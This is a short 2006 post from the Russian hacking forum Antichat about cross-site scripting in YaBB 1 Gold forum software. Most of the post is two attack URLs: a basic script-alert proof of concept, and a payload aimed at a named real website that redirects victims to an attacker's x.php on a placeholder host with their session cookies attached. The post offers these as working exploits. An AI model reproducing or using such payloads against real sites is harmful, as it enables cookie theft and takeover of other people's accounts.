Форум АНТИЧАТ - Показать сообщение отдельно - Уязвимости форума YaBB 1 Gold

Тема: Уязвимости форума YaBB 1 Gold - Release и сплойты к нему

Показать сообщение отдельно

05.01.2006, 07:26

Romaxa55

Участник форума

Регистрация: 19.10.2005

Сообщений: 128

Провел на форуме:
584821

Репутация: 83

Отправить сообщение для Romaxa55 с помощью ICQ

Да, там можно межсайтовый скриптинг произвести, вот пример:

Код:

http://host/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script>

Код:

http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display; 
num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d' 
%2b(document.cookie)%3b</Script>

P.S. прошу прощения за флуд.